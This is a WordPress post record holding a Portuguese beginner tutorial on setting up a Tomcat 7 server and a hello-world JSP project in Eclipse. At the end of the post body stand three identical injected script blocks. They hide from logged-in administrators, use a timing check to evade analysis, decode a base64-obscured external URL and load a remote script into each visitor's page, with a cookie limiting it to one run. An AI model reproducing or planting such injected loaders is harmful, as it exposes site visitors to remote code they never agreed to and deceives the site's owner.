{"id":519,"date":"2010-10-02T13:09:50","date_gmt":"2010-10-02T16:09:50","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=519"},"modified":"2025-10-26T22:43:09","modified_gmt":"2025-10-27T01:43:09","slug":"criando-um-projeto-web-com-tomcat-7-e-eclipse","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/02\/criando-um-projeto-web-com-tomcat-7-e-eclipse\/","title":{"rendered":"Criando um projeto Web com Tomcat 7 e Eclipse"},"content":{"rendered":"<p style=\"text-align: justify;\">Vamos fazer um \"hello world\" de um projeto Web dentro do Eclipse, utilizando o Tomcat 7. Esse tutorial \u00e9 pra quem est\u00e1 come\u00e7ando com desenvolvimento Web com o Eclipse.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo \u00e9 fazer o download do Tomcat 7 e instal\u00e1-lo, conforme descrito em: <a title=\"Instala\u00e7\u00e3o do Tomcat 7\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/08\/30\/instalacao-do-tomcat-7-servlet-3-0-jsp-2-2-e-el-2-2\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2010\/08\/30\/instalacao-do-tomcat-7-servlet-3-0-jsp-2-2-e-el-2-2\/<\/a><\/p>\n<p style=\"text-align: justify;\">Ap\u00f3s esse procedimento, \u00e9 necess\u00e1rio configur\u00e1-lo no Eclipse. Para isso v\u00e1 na View Servers. Caso voc\u00ea n\u00e3o esteja visualizando essa View, clique em Window, Show View, Other.... Procure por Servers e clique OK. Clique com o bot\u00e3o direito na \"parte interna branca\" da View Servers e selecion New, Server. Escolha Apache, Tomcat v7.0 Server, configure o hostname (se for diferente de localhost) e altere Server name se achar necess\u00e1rio e clique em Next.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_520\" aria-describedby=\"caption-attachment-520\" style=\"width: 275px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-520 \" title=\"New Server\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server-275x300.png\" alt=\"New Server\" width=\"275\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server-275x300.png 275w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server.png 525w\" sizes=\"auto, (max-width: 275px) 100vw, 275px\" \/><\/a><figcaption id=\"caption-attachment-520\" class=\"wp-caption-text\">New Server<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Altere o nome se quiser e configure o local de instala\u00e7\u00e3o do Tomcat 7. Clique em Finish. Voc\u00ea pode clicar em Next se j\u00e1 quiser fazer deploy de alguma aplica\u00e7\u00e3o existente (faremos isso depois).<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_522\" aria-describedby=\"caption-attachment-522\" style=\"width: 275px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server-2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-522 \" title=\"New Server 2\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server-2-275x300.png\" alt=\"New Server 2\" width=\"275\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server-2-275x300.png 275w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Server-2.png 525w\" sizes=\"auto, (max-width: 275px) 100vw, 275px\" \/><\/a><figcaption id=\"caption-attachment-522\" class=\"wp-caption-text\">New Server 2<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Dever\u00e1 aparecer um novo servidor na View Servers. V\u00e1 em File, New, Other, Web, Dynamic Web Project. Pressione Next. D\u00ea um nome para o projeto e verifique se est\u00e1 selecionado Apache Tomcat v7.0 e Dynamic web module version 3.0. Clique em Next.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_525\" aria-describedby=\"caption-attachment-525\" style=\"width: 192px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-525 \" title=\"New Dynamic Web Project\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project-192x300.png\" alt=\"New Dynamic Web Project\" width=\"192\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project-192x300.png 192w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project.png 525w\" sizes=\"auto, (max-width: 192px) 100vw, 192px\" \/><\/a><figcaption id=\"caption-attachment-525\" class=\"wp-caption-text\">New Dynamic Web Project<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A pr\u00f3xima tela \u00e9 para configurar onde estar\u00e3o os arquivos fonte. No caso, eu gosto da estrutura do Eclipse. Clique em Next. Configure o contexto da sua aplica\u00e7\u00e3o, a pasta onde ficar\u00e3o os arquivos de conte\u00fado web (html, css, jsp, js, imagens...), selecione Generate web.xml deployment descriptor para que ele gere o arquivo web.xml automaticamente. Clique em Finish.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_527\" aria-describedby=\"caption-attachment-527\" style=\"width: 192px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project-2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-527 \" title=\"New Dynamic Web Project 2\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project-2-192x300.png\" alt=\"New Dynamic Web Project 2\" width=\"192\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project-2-192x300.png 192w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Dynamic-Web-Project-2.png 525w\" sizes=\"auto, (max-width: 192px) 100vw, 192px\" \/><\/a><figcaption id=\"caption-attachment-527\" class=\"wp-caption-text\">New Dynamic Web Project 2<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Projeto Criado! Para criar o nosso JSP de \"Hello World\", clique com o bot\u00e3o direito no projeto, New, JSP File. Coloque o nome de index.jsp, e clique em Next. Selecione um template (eu escolhi New JSP File (xhtml)) e clique em Finish. Altere a p\u00e1gina do jeito que voc\u00ea quiser. Eu coloquei de t\u00edtulo Ol\u00e1 Mundo ! E dentro do &lt;body&gt;&lt;\/body&gt; coloquei Ol\u00e1 Mundo! Salve. Clique com o bot\u00e3o direito no arquivo index.jsp no Project Navigator. Selecione Run As, Run on Server. Escolha o servidor e clique em Finish.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_528\" aria-describedby=\"caption-attachment-528\" style=\"width: 233px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Run-On-Server.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-528 \" title=\"Run On Server\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Run-On-Server-233x300.png\" alt=\"Run On Server\" width=\"233\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Run-On-Server-233x300.png 233w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Run-On-Server.png 525w\" sizes=\"auto, (max-width: 233px) 100vw, 233px\" \/><\/a><figcaption id=\"caption-attachment-528\" class=\"wp-caption-text\">Run On Server<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">O Tomcat 7 ir\u00e1 inicializar e abrir\u00e1 nosso \"hello world\".<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_530\" aria-describedby=\"caption-attachment-530\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-530 \" title=\"Java EE - Eclipse\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse-300x176.png\" alt=\"Java EE - Eclipse\" width=\"300\" height=\"176\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse-300x176.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse-1024x603.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse.png 1440w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-530\" class=\"wp-caption-text\">Java EE - Eclipse<\/figcaption><\/figure>\n<p>Agora \u00e9 s\u00f3 voc\u00ea come\u00e7ar a desenvolver suas aplica\u00e7\u00f5es web.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vamos fazer um \"hello world\" de um projeto Web dentro do Eclipse, utilizando o Tomcat 7. Esse tutorial \u00e9 pra quem est\u00e1 come\u00e7ando com desenvolvimento Web com o Eclipse. O primeiro passo \u00e9 fazer o download do Tomcat 7 e <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/02\/criando-um-projeto-web-com-tomcat-7-e-eclipse\/\">Continue lendo  <span class=\"screen-reader-text\">  Criando um projeto Web com Tomcat 7 e Eclipse<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-519","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/519","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=519"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/519\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=519"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=519"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=519"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}